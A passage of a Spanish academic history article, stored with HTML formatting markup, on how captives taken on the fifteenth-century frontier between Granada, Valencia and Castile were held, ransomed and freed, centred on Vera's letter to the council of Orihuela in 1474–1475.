xx-small\">XIV<\/span>, hasta Pedro Fajardo en el siglo <span style=\"font-size: xx-small\">XV <\/span>muchos son los documentos que dejan constancia de la encomienda de esta delicada misi\u00f3nseg\u00fan la condici\u00f3n de los retenidos.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">As\u00ed pues, y desde un punto de vista eminentemente competencial, los musulmanes apresados por cristianos quedaban sometidos a la autoridad del bayle general en el reino de Valencia. A este oficial compet\u00eda conceder las autorizaciones para capturar cautivos y juzgarlos, si por las condiciones de su apresamiento as\u00ed se consideraba pertinente, y de igual modo conceder permisos para <span style=\"font-family: Times-Italic,serif\"><i>acaptar<\/i><\/span>. En este sentido, conviene precisar que eran distintas las circunstancias por las que una persona pod\u00eda ser reducida a cautiverio en territorio cristiano: por captura en la guerra, por castigos ante la comisi\u00f3n de delitos, y por entrega de ellos mismos, o algunos de sus hijos, por deuda, por la <span style=\"font-family: Times-Italic,serif\"><i>trata<\/i><\/span>, por ser apresados mediante naves en el mar, por pretender huir \u2013convirti\u00e9ndose as\u00ed en <span style=\"font-family: Times-Italic,serif\"><i>descaminats<\/i><\/span>\u2013, o por <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>acaptar <\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">sin licencia. Una vez apresados \u2013e incluso para el caso en que hubieran sido comprados fuera del Reino y reconducidos hasta<\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">aqu\u00e9l\u2013, eran presentados ante el Bayle general, y \u00e9ste a tenor de un exhaustivo interrogatorio determinaba el destino de aqu\u00e9llos. Por lo general, eran sometidos a cautiverio quienes circulaban por el Mediterr\u00e1neo sin la autorizaci\u00f3n debida para dedicarse al comercio, cubriendo el trayecto entre Mallorca y <span style=\"font-size: small\">Valencia, Alicante y Almer\u00eda o Barcelona y el Cabo Cerver.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">En territorio isl\u00e1mico, y conforme a la legislaci\u00f3n andalus\u00ed, los cristianos que eran apresados permanec\u00edan retenidos bajo la autoridad del <span style=\"font-family: Times-Italic,serif\"><i>alcaide <\/i><\/span>por raz\u00f3n de su condici\u00f3n, ya que la privaci\u00f3n de libertad ten\u00eda por finalidad el resarcimiento de los da\u00f1os que sus acciones hubieran causado. Y en esta situaci\u00f3n permanec\u00edan hasta el cumplimiento de todos los derechos <span style=\"font-family: Times-Italic,serif\"><i>sy quier por debda \u00f3 por otra razon<\/i><\/span>. En modo alguno la privaci\u00f3n de libertad supon\u00eda la remisi\u00f3n a prisi\u00f3n con fines represivos; muy al contrario, la prisi\u00f3n estaba destinada a aquellos prisioneros que en virtud de su capacidad econ\u00f3mica deb\u00edan hacer frente al pago de la pena impuesta, sin que ello supusiera someterse a plazo o tiempo cierto. Y no parece ser que fuera de otro modo si se considera la petici\u00f3n cursada por las gentes de Vera al Concejo de Orihuela; lo que se reclama es la inmediata liberaci\u00f3n de los cautivos retenidos a cambio de la entrega del rescate que para aqu\u00e9lla se hab\u00eda impuesto; y cuyo valor ya hab\u00eda sido fijado anteriormente, en consonancia con la categor\u00eda de los hechos causados y la <span style=\"font-size: small\">personalidad de los retenidos.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Por otro lado, en al-Andalus los alcaldes estaban legitimados para tener preso a quien as\u00ed lo mereciera, por cuanto la prisi\u00f3n cumpl\u00eda <span style=\"font-family: Times-Italic,serif\"><i>en todos los derechos tanto por causa de deuda como por otra raz\u00f3n<\/i><\/span><span style=\"font-size: xx-small\">94<\/span>. Si bien no merec\u00eda prisi\u00f3n quien no poseyera medios para pagar sus deudas. En este caso, en el de pobreza, pod\u00eda el alcalde \u00ab<span style=\"font-family: Times-Italic,serif\"><i>catar\u00bb <\/i><\/span>por el cautivo, quedando establecido que la prisi\u00f3n no fuera por tiempo cierto, sino que su duraci\u00f3n fuera la precisa para recabar el importe de lo debido para su rescate<span style=\"font-size: xx-small\">95<\/span>. Porque, en efecto, muchas eran los inconvenientes que se derivaban del apresamiento de cautivos en la franja mediterr\u00e1nea, tanto para las autoridades musulmanas como para las cristianas.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">El apresamiento, la custodia e incluso la tramitaci\u00f3n de la venta \u2013cuando as\u00ed se estimara oportuno\u2013, supon\u00eda el pago de salarios a todos aquellos que interven\u00edan en el proceso por mandato real o bien procedente de los delegados reales, lugartenientes o gobernadores. De ah\u00ed que fueran frecuentes los trasla-dos de los cautivos a los mercados de esclavos con el fin de recabar bienes y resarcir los perjuicios ocasionados por la retenci\u00f3n prolongada de los mismos.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Los prisioneros, conocedores, en muchas ocasiones, de cu\u00e1l ser\u00eda su \u00faltimo destino ingeniaban el modo de escapar, aun con serio riesgo para sus vidas.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Las Actas Capitulares conservadas en Orihuela relatan que los musulmanes cautivados por los oriolanos consiguieron escapar de sus captores, situaci\u00f3n que produjo inquietud en las gentes de Vera, temerosas de que fueran aprehendidos de nuevo e inmediatamente ajusticiados. Esta circunstancia pod\u00eda ser causa de aplicaci\u00f3n de la pena de muerte, ya que esa era la pena impuesta a los cautivos fugados, que en territorio valenciano eran denominados <span style=\"font-family: Times-Italic,serif\"><i>descaminats<\/i><\/span>. Tal situaci\u00f3n era, por otro lado, com\u00fan en el \u00e1mbito fronterizo, tanto de territorio isl\u00e1mico como cristiano; en el primer caso la competencia sobre los huidos correspond\u00eda a <span style=\"font-family: Times-Italic,serif\"><i>alqaid, <\/i><\/span>mientras que en territorio cristiano bien la asum\u00eda el Adelantado, para el caso <span style=\"font-size: small\">de Castilla, o tambi\u00e9n el Bayle general en el caso de Arag\u00f3n, y concretamente del Reino de Valencia. El Derecho andalus\u00ed preve\u00eda tambi\u00e9n la aplicaci\u00f3n de la <\/span>misma pena a quienes se echaban a los caminos, por causas varias, siendo considerados en caso de apresamiento <span style=\"font-family: Times-Italic,serif\"><i>gentes de carrera<\/i><\/span>, o salteadores de caminos.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">La carta de Vera hace especial menci\u00f3n a la necesaria protecci\u00f3n debida por parte de la autoridad competente \u2013y en este caso la autoridad real delegada\u2013 a los musulmanes apresados y retenidos en territorio cristiano. Tal protecci\u00f3n comportaba, a su vez, la seguridad para quienes en situaci\u00f3n de indefensi\u00f3n se <span style=\"font-size: small\">encontraban en territorio extranjero. Y no pod\u00eda ser de otro modo por dos <\/span>razones fundamentales. La primera de ellas el car\u00e1cter de reciprocidad respecto a la protecci\u00f3n para las gentes que transitaban por tierras extranjeras con la autorizaci\u00f3n pertinente; y la segunda raz\u00f3n por los peligros que acechaban a quienes circulaban sin la debida autorizaci\u00f3n, con la consiguiente exposici\u00f3n a las acciones de los salteadores y malhechores. Porque uno de los mayores peligros a los que se expon\u00edan las gentes en la frontera era, sin duda, los salteadores, y contra ellos se aplicaban las m\u00e1s duras penas. En este sentido, el Derecho andalus\u00ed preve\u00eda duras medidas respecto a quienes atentaban contra la integridad <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">f\u00edsica de los transe\u00fantes, o bien contra sus bienes. Incluso preve\u00eda la normativa <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">que quien deambulara sin autorizaci\u00f3n por los caminos, aunque no robara ni de noche ni de d\u00eda, si fuera aprehendido deb\u00eda someterse al <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>juez de<\/i><\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>albedr\u00edo, <\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><i>quien podr\u00eda imponerle penas f\u00edsicas tales como amputarle una mano <\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">o el pie, e incluso si se demostrare que el forajido hubiera <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>atajado el camino <\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">o salteado, se le aplicar\u00eda la muerte <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>sin otro albedr\u00edo, aunque no aya robado ni matado<\/i><\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>.<\/i><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Por estas razones, las actas probatorias y debidamente formalizadas del cautiverio de los prisioneros se erigieron en un instrumento fundamental para la defensa de los derechos de quienes hab\u00edan sido retenidos en circunstancias an\u00f3malas e incluso ileg\u00edtimas. Este tipo de documentos, que permit\u00eda probar la retenci\u00f3n durante un tiempo, si \u00e9sta lo era en tiempos de paz, legitimaba para ser liberado sin necesidad de pago de rescate; o bien de haber mediado el pago del mismo, y la posibilidad de reintegrar su importe, previa petici\u00f3n al monarca.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">En cuanto a la consecuci\u00f3n definitiva de la libertad, los cautivos tan s\u00f3lo adquir\u00edan de nuevo aquella condici\u00f3n con arreglo al cumplimiento de los requisitos exigidos y consensuados conforme a los acuerdos y tratados vigentes entre ambos reinos. Esta circunstancia era com\u00fan desde los tiempos del rey Jaime II, cuando se consolidaron, a trav\u00e9s de la firma de aqu\u00e9llos, las pautas de comportamiento respecto a los cautivos tanto de territorio isl\u00e1mico como cristiano. Los usos establecidos y consensuados no permit\u00edan por ejemplo liberar cautivos, ni siquiera con car\u00e1cter temporal, aun cuando se argumentaran razones de car\u00e1cter militar para la defensa de territorios y plazas fronterizas. Ello porque, conforme escrib\u00eda el sult\u00e1n de Granada al rey Jaime, <span style=\"font-family: Times-Italic,serif\"><i>no hay costumbre de hacerlo y en estas cosas no cabe salirse de los usos establecidos ni apartarse de ellos, ni en los casos comprometidos ni en situaciones embarazosas. <\/i><\/span>Y as\u00ed las cosas, la liberaci\u00f3n de los cautivos musulmanes o cristianos tan s\u00f3lo proced\u00eda en circunstancias consideradas leg\u00edtimas o conforme a la costumbre seguida entre los reinos colindantes. De hecho, y desde el reinado de Jaime II y el sultanato de \u2018Abd al-Rah.ma-n ibn Mu-sa ibn \u2018Ut.ma-n, se hab\u00eda generalizado la negativa a liberar cautivos de uno u otro lado de la frontera sin causa justificada, por cuanto tal situaci\u00f3n provocaba un desequilibrio socioecon\u00f3mico, ya que estos prisioneros eran importante mano de obra en determinados sectores artesanales.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">No era por otro lado situaci\u00f3n com\u00fan proceder al pago de rescate en tiempos de paz. As\u00ed queda constatado en la documentaci\u00f3n conservada para la Corona de Arag\u00f3n desde comienzos del siglo <span style=\"font-size: xx-small\">XIV<\/span>. La costumbre era contraria a esta pr\u00e1ctica, procedi\u00e9ndose tan s\u00f3lo a la liberaci\u00f3n o canje de cautivos por causa de pirater\u00eda. Tambi\u00e9n parece estar probado que la intervenci\u00f3n del monarca respecto al tratamiento que deb\u00edan merecer ciertos prisioneros llevaba a la <span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\">inmediata liberaci\u00f3n, conforme a los dictados de la voluntad soberana. Y, sin <\/span><\/span><i>embargo, esta posibilidad, aun siendo remota era factible tal y conforme se <\/i>constata en los documentos relativos al asunto de Vera; en efecto, los representantes de la aljama de Vera anuncian a las gentes de Orihuela la posibilidad de rescate <span style=\"font-family: Times-Italic,serif\"><i>(hala-sa)<\/i><\/span>, con el fin de mantener la paz que seg\u00fan el texto, reinaba entre musulmanes y cristianos en aquel momento.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">3. LA RESOLUCI\u00d3N DE UN CONFLICTO A TRAV\u00c9S DE MECANISMOS JUR\u00cdDICOS<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Las cartas intercambiadas entre los distintos concejos e instituciones de gobierno implicadas en el asunto de Vera reflejan, con claridad, las consecuencias que a distintos niveles tuvo el apresamiento de musulmanes y la complejidad en el proceso de su liberaci\u00f3n. No resulta por tanto extra\u00f1o el hecho de que se activaran una serie de mecanismos que coadyuvaran a la soluci\u00f3n pac\u00edfica del conflicto. En este sentido, varias son las razones que planteadas desde una triple \u00f3ptica \u2013local, territorial y general\u2013, justificar\u00edan, seg\u00fan las gentes de Vera, la inmediata liberaci\u00f3n de los cautivos. La primera raz\u00f3n ser\u00edan las buenas relaciones existentes entre la aljama almeriense y el Concejo de Orihuela, al que se dirige la carta en unos t\u00e9rminos respetuosos, amables, de igualdad de trato y consideraci\u00f3n; este tratamiento era consecuencia a su vez del mantenimiento de una relaci\u00f3n an\u00e1loga por las instancias supralocales, tanto respecto a las ciudades aragonesas como castellanas. La segunda de las razones esgrimibles era la protecci\u00f3n, y por ende el pl\u00e1cet, acreditados por el adelantado del Reino de Castilla, don Pedro Fajardo, residente en la ciudad de Lorca conocedor \u2013en virtud de lo expresado en la carta de Vera y en las Actas Capitulares de <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Orihuela\u2013 de la an\u00f3mala situaci\u00f3n que se hab\u00eda producido por causa de los <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">musulmanes indefinidamente retenidos. El consentimiento era de paso y tr\u00e1nsito por tierras bajo control castellano, imprescindible para el inicio y conclusi\u00f3n de las negociaciones que con tal motivo se desenvolv\u00edan en la frontera entre el<\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><i>sultanato de Granada y los territorios cristianos de Arag\u00f3n y Castilla y que, sin <\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">duda, conced\u00eda Pedro Fajardo en cumplimiento de las funciones encomendadas <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">por el rey en el territorio de su gobierno. Y en tercer lugar, la referencia al <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">compromiso adquirido al m\u00e1s alto nivel por los soberanos de los reinos implicados en esta cuesti\u00f3n con la finalidad de garantizar el cumplimiento de los tratados <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">y acuerdos de paz, en los que, de forma habitual, se contemplaba entre <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">sus cl\u00e1usulas el trato respetuoso y la reciprocidad respecto a quienes eran apresados por causa de las acciones delictivas, o incluso por aquellos que lo eran indebidamente; referencia \u00e9sta a la que expresamente se alude en la carta de Vera bajo los t\u00e9rminos <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>conforme al derecho, la costumbre y la pr\u00e1ctica<\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">No obstante estas justificadas razones, los musulmanes apresados experimentaron una serie de avatares que hacen necesario un an\u00e1lisis m\u00e1s conciso de las circunstancias que rodearon estos apresamientos, de aquellas otras que retrasaron la liberaci\u00f3n de los mismos, y finalmente de los mecanismos y v\u00edas establecidos para la liberaci\u00f3n y rescate de los cautivos.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><span style=\"font-size: small\">3.1 <\/span><span style=\"font-family: Times-Bold,serif\"><span style=\"font-size: small\"><b>La delegaci\u00f3n de poder en la documentaci\u00f3n crediticia<\/b><\/span><\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><span style=\"font-size: small\">A) D<\/span><span style=\"font-size: xx-small\">ELEGADOS Y MEDIADORES<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">El proceso de intercambio pac\u00edfico de cautivos en la frontera autorizaba a <span style=\"font-size: small\">los poderes locales para realizar negociaciones a corto alcance, con una duraci\u00f3n <\/span>tambi\u00e9n limitada que, por lo general, no superaba el t\u00e9rmino de tres d\u00edas.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Adem\u00e1s, la negociaci\u00f3n supon\u00eda el expreso reconocimiento de la legitima actuaci\u00f3n de una serie de oficiales, como fue el caso del alcalde entre cristianos y moros o juez de frontera, cuyas actuaciones son conocidas desde los tiempos <span style=\"font-size: small\">de Muh.ammad II, y el reinado castellano de Enrique II.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><i>Los peligros que amenazaban a los musulmanes carentes de protecci\u00f3n en su <\/i>deambular por las tierras de la Corona de Arag\u00f3n eran numerosos; de ah\u00ed que, desde el siglo <span style=\"font-size: xx-small\">XIV <\/span>se institucionalizaran una serie de oficios en el \u00e1mbito fronterizo, cuya principal funci\u00f3n era garantizar la seguridad en los caminos y evitar los males que salteadores y malhechores pudieran causar. Los llamados <span style=\"font-family: Times-Italic,serif\"><i>alcaldes <\/i><\/span>o jueces de la frontera eran quienes ejerc\u00edan y aplicaban la justicia, a uno y otro lado de la frontera; eran conocedores del singular modo de vida fronteriza y recib\u00edan la ayuda de una serie de oficiales menores, tales como la denominada <span style=\"font-family: Times-Italic,serif\"><i>polic\u00eda de frontera <\/i><\/span>o \u00abfieles del rastro\u00bb. \u00c9stos recib\u00edan las denuncias respecto a los huidos y ten\u00edan como obligaci\u00f3n averiguar el lugar de destino de aquellos que se hubieran escapado, eludiendo la acci\u00f3n de la justicia. En ocasiones el descubrimiento del paradero de los fugados y huidos no conclu\u00eda con la detenci\u00f3n de los mismos, puesto que su competencia se refer\u00eda a un espacio concreto, y no les estaba permitido traspasar los l\u00edmites fronterizos salvo autorizaci\u00f3n; por ello proced\u00edan a la entrega de la pista a quienes eran competentes en territorio contrario para proceder del mismo modo, con la plena seguridad de que aun en este supuesto la acci\u00f3n de la justicia se har\u00eda plenamente efectiva sobre los delincuentes.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Los musulmanes reclamados por las gentes de Vera, eran sin duda gentes de condici\u00f3n elevada, habida cuenta de la protecci\u00f3n exigida y garantizada tanto desde territorio isl\u00e1mico como castellano; no en vano el adelantado mayor de Castilla, Pedro Fajardo, garantizaba en nombre del rey la seguridad que correspond\u00eda a los apresados en territorio cristiano durante el per\u00edodo de paz que caracteriz\u00f3 aquellos a\u00f1os de 1474 y 1475. Por esta causa, los musulmanes, que iban en la fusta asaltada en aguas del Mediterr\u00e1neo en tiempos de paz, lo hab\u00edan sido de forma ileg\u00edtima. En esta misma situaci\u00f3n, y por raz\u00f3n de reciprocidad, se encontraban los cristianos que las gentes de Vera hab\u00edan retenido en represalia y a los que se refer\u00edan en su misiva como medios para el <span style=\"font-family: Times-Italic,serif\"><i>rescate<\/i><\/span>; y ello porque el canje era una de las modalidades de liberaci\u00f3n m\u00e1s usuales una vez <span style=\"font-size: small\">concluidos per\u00edodos de guerra, y con mayor motivo en tiempos de paz. Ante <\/span>estas circunstancias no correspond\u00eda rescate alguno por la devoluci\u00f3n de estas <span style=\"font-size: small\">personas a las que se les restring\u00eda su libertad de forma ileg\u00edtima.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Uno de las personas implicadas en este suceso, seg\u00fan consta en las Actas capitulares de Orihuela, fue Lope Adalid, cuyo nombre suscita ciertas dudas, respecto a su condici\u00f3n y dedicaci\u00f3n. Los adalides, del \u00e1rabe <span style=\"font-family: Times-Italic,serif\"><i>ad-dalil<\/i><\/span>, eran considerados gu\u00edas o representantes a la cabeza de un n\u00famero de personas, corporaci\u00f3n <span style=\"font-size: small\">o colectivo, cuya actividad se incardinaba entre las acometidas por <\/span>las instituciones militaresde ambos lados fronterizos y siempre dependientes <span style=\"font-size: small\">del \u00e1mbito concejil; personas de alta consideraci\u00f3n militar de las zonas fronterizas, <\/span>que actuar\u00edan por encargo y que recib\u00edan una remuneraci\u00f3n. Desde un punto de vista estrictamente militar, los adalides eran considerados caudillos o jefes de ciertas huestes, y a estos mismos oficiales les correspond\u00eda garantizar la seguridad de quienes hab\u00edan sido reducidos a esclavitud, compartiendo tal responsabilidad en territorio musulm\u00e1n con los almotacenes y otra suerte de personas que como en el caso de los renegados se prestaban a estas misiones, <span style=\"font-size: small\">por raz\u00f3n de su conocimiento del modo de vida y costumbres de los detenidos.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">En este sentido, resulta significativo el hecho de que en el citado documento se reclame la liberaci\u00f3n de ciertos prisioneros entre quienes se encuentra, a tenor de la informaci\u00f3n cotejada en las Actas Capitulares del Archivo de <span style=\"font-size: small\">Orihuela, Lope Adalid \u2013aunque este nombre no aparece expresamente en el documento \u00e1rabe, pero s\u00ed en las Actas\u2013, y que conforme a la documentaci\u00f3n oriolana era vecino de Lorca y figura principal en esta compleja negociaci\u00f3n encaminada a su liberaci\u00f3n y a la de otros dos musulmanes, apresados en id\u00e9nticas circunstancias por los cristianos.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Tras la identificaci\u00f3n de los cautivos y las negociaciones para fijar la cuant\u00eda del rescate, proced\u00eda la efectiva liberaci\u00f3n de los cautivos. \u00c9sta se encomendaba a otros oficiales, encargados de ejecutar el acuerdo pertinente, los llamados <span style=\"font-family: Times-Italic,serif\"><i>al-fakkak <\/i><\/span>en territorio musulm\u00e1n o <span style=\"font-family: Times-Italic,serif\"><i>exeas <\/i><\/span>en el medio cristiano; a \u00e9stos se les encomendaba tal misi\u00f3n por expresa autorizaci\u00f3n real o local, conforme a la condici\u00f3n social de los retenidos. Y as\u00ed sucedi\u00f3 respecto a los musulmanes de Vera quienes, en virtud de la documentaci\u00f3n conservada en el Archivode Orihuela, experimentaron un proceso de negociaci\u00f3n y liberaci\u00f3n lento \u2013en el que los <span style=\"font-family: Times-Italic,serif\"><i>exeas <\/i><\/span>adquieren un papel singular\u2013, no exento de innumerables inc\u00f3gnitas de dif\u00edcil soluci\u00f3n.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Entre las actuaciones encaminadas a la liberaci\u00f3n de los cautivos musulmanes alude la carta de Vera al env\u00edo de un representante del concejo de aquella ciudad, Ibn \u2018Abd Alla-h Ah.ma-d Abu &#8211; l-\u2018As\u00af\u0131z quien con la autorizaci\u00f3n pertinente para negociar la definitiva liberaci\u00f3n acud\u00eda ante la presencia del Concejo de Orihuela; poco se sabe del citado representante, ya que en el texto tan s\u00f3lo figura su nombre y la expresa menci\u00f3n a su fidelidad y lealtad <span style=\"font-size: small\">como enviado especial. El citado mensajero es identificado en los documentos cristianos como <\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>lo honrat cavaller vostre misatger Abolaix <\/i><\/span><\/span><span style=\"font-size: small\">y desempe\u00f1\u00f3 un papel fundamental en la consecuci\u00f3n del acuerdo entre partes para <\/span>la liberaci\u00f3n de los musulmanes de Vera; con este fin se dirigi\u00f3 a Lorca y desde all\u00ed, en compa\u00f1\u00eda del enviado Johan Ponc a Orihuela<span style=\"font-size: xx-small\">125<\/span>. Los mensajeros y enviados lorquinos Johan Ponc y Diego Doconfueron los responsables de comunicar al consejo de Orihuela como <span style=\"font-family: Times-Italic,serif\"><i>huna fusta de Yviza era venguda en lo terme de Bera e hauria pres e saltejat cinch moros e mort hu en la qual fusta serien stats certs vehins nostres <\/i><\/span>[de Orihuela]; previamente Abu &#8211; l-\u2018As\u00af\u0131z y el traductor Samuel Aben Yayon hab\u00edan acudido hasta Lorca con el fin de plantear al Adelantado los hechos acaecidos y solicitar su colaboraci\u00f3n ante el Concejo de Orihuela, que era acusado de haber interferido en el apresamiento de los musulmanes que iban en la fusta en la que ven\u00eda Lope Adalid.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">La actividad desempe\u00f1ada por estos mensajeros fue una constante durante el siglo <span style=\"font-size: xx-small\">XV<\/span>. En efecto, la frecuencia con que se produc\u00edan los apresamientos en esta amplia franja fronteriza fue tal que las ciudades principales de los adelantamientos, como el caso de Lorca, se vieron conminadas a designar a un determinado n\u00famero de oficiales, o <span style=\"font-family: Times-Italic,serif\"><i>exeas<\/i><\/span>, encargados de proceder al rescate de los cautivos, bajo la autoridad de un alfaqueque mayor o concejil. As\u00ed pues, losoficiales delegados \u2013por lo general uno musulm\u00e1n y otro cristiano, que recib\u00edan el apelativo de <span style=\"font-family: Times-Italic,serif\"><i>mayores<\/i><\/span>\u2013 se convirtieron en el elemento indispensable para proceder al pago de los rescates y dem\u00e1s tratos tendentes al canje o compra de los apresados, conforme se ven\u00eda legitimamente haciendo desde los tiempos de <span style=\"font-size: small\">Enrique II en el territorio lorqu\u00ed. En cualquier caso, considerando que Vera <\/span>era, entre las ciudades fronterizas, una de las m\u00e1s importantes por su situaci\u00f3n <span style=\"font-size: small\">geogr\u00e1fica y estrat\u00e9gica, en la que, adem\u00e1s, exist\u00eda una sede judicial en la que <\/span><span style=\"font-size: small\">resid\u00eda el q\u00afa.d\u00af\u0131, as\u00ed como el que las fuentes aludan a un importante concejo <\/span>integrado por oficiales como el alcaide, caudillo, alguacil, gobernador u <span style=\"font-family: Times-Italic,serif\"><i>hombre principal de la ciudad de Vera, <\/i><\/span>son todas ellas circunstancias que permiten aventurar que la persona elegida ostentaba un importante cargo entre los miembros de aquella comunidad isl\u00e1mica, en la que adem\u00e1s un <span style=\"font-family: Times-Italic,serif\"><i>q<\/i><\/span>\u00af<span style=\"font-family: Times-Italic,serif\"><i>a\u2019id al-ust.ul <\/i><\/span>o <span style=\"font-family: Times-Italic,serif\"><i>q<\/i><\/span>\u00af<span style=\"font-family: Times-Italic,serif\"><i>a\u2019id al bah.r <\/i><\/span>ejerc\u00eda el mando de la zona costera por raz\u00f3n de su importancia <span style=\"font-size: small\">estrat\u00e9gica.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Sobre la cuesti\u00f3n del env\u00edo de representantes legales del Concejo de Vera, debe advertirse que en muchas ocasiones la seguridad y buen fin de las negociaciones precisaban de la intervenci\u00f3n de otras instituciones reconocidas y legitimadas en estas cuestiones, como era el caso de los qad\u00edes, o jueces que amparaban a los tratadores o negociadores. Y as\u00ed queda constatado en el documento enviado por las gentes de Vera a Orihuela, cuando se acredita la protec-ci\u00f3n de quienes se dirigen a territorio cristiano a negociar la liberaci\u00f3n, en compa\u00f1\u00eda de Ibn \u2018Abd Alla-h Ah.ma-d Abu &#8211; l-\u2018As\u00af\u0131z; protecci\u00f3n que, a tenor de la actividad desarrollada en la frontera, fue un requisito incuestionable en los tratos <span style=\"font-size: small\">llevados a cabo en el \u00e1mbito fronterizo entre Lorca y Vera, conforme al ejercicio de la jurisdicci\u00f3n local en aquellas lindes.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><span style=\"font-size: small\">B) E<\/span><span style=\"font-size: xx-small\">L CONTENIDO DE LOS PODERES DELEGADOS<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Los problemas derivados del apresamiento indebido de musulmanes y cristianos en el lado de la frontera se resolv\u00edan mediante negociaciones al m\u00e1s alto <span style=\"font-size: small\">nivel cuando las circunstancias as\u00ed lo requer\u00edan. Tanto en estos casos como <\/span>cuando las negociaciones se realizaban a nivel territorial, las cartas o embajadas eran el medio m\u00e1s habitual para poner en funcionamiento el mecanismo jur\u00eddico encaminado a la resoluci\u00f3n del conflicto. La polic\u00eda de la frontera, o fieles del rastro, eran quienes se especializaron en el seguimiento de las huellas de los malhechores, persecuciones que se iniciaban a instancia de parte, y en este caso previo requerimiento formal por los representantes del concejo; ello les confer\u00eda la total responsabilidad, como miembros del concejo, de los hechos delictivos que surgieran en la l\u00ednea fronteriza. Gracias a sus buenos oficios y agilidad para realizar estos encuentros fueron resueltos conflictos de todo <span style=\"font-size: small\">tipo. Los contactos a realizar, por otro lado, precisaban un espacio concreto.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">En el caso que nos ocupa la delimitaci\u00f3n de una franja intermedia \u2013en la que transitar con cierta libertad de movimientos\u2013 tanto para musulmanes como para cristianosse circunscrib\u00eda a la zona correspondiente a Pozo de la Higuera, 